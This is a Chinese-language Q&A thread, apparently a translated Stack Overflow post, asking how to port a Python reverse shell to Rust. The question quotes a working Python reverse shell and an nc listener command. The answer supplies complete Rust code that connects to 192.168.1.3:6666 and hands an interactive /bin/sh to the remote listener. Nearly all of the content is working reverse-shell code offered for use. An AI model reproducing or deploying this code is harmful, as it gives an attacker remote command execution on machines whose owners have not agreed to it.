用 Python 编写的反向 shell 脚本在 Rust 中的等价物是什么?

spr*_*s00 5 python sockets subprocess rust reverse-shell

Python 中的反向 shell 脚本通常如下所示:

import socket, subprocess, os;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s.connect((\"192.168.1.3\", 6666));

os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);

p=subprocess.call([\"/bin/sh\", \"-i\"]);
Run Code Online (Sandbox Code Playgroud)

我试图用 Rust 复制这个过程:

let mut stream = std::net::TcpStream::connect("192.168.1.3:6666").unwrap();
Run Code Online (Sandbox Code Playgroud)

我只获得了与我的主机的 TCP 连接,并使用 netcat ( nc -l -p 6666) 进行侦听。如果我理解正确,我需要通过套接字重定向标准输入、输出和错误,然后以某种方式“调用” /bin/sh

如何用 Rust 编写这个反向 shell 脚本?

dto*_*nay 6

Rust 中的 Python 反向 shell 的等效项是:

use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};

fn main() {
    let s = TcpStream::connect("192.168.1.3:6666").unwrap();
    let fd = s.as_raw_fd();
    Command::new("/bin/sh")
        .arg("-i")
        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })
        .spawn()
        .unwrap()
        .wait()
        .unwrap();
}
Run Code Online (Sandbox Code Playgroud)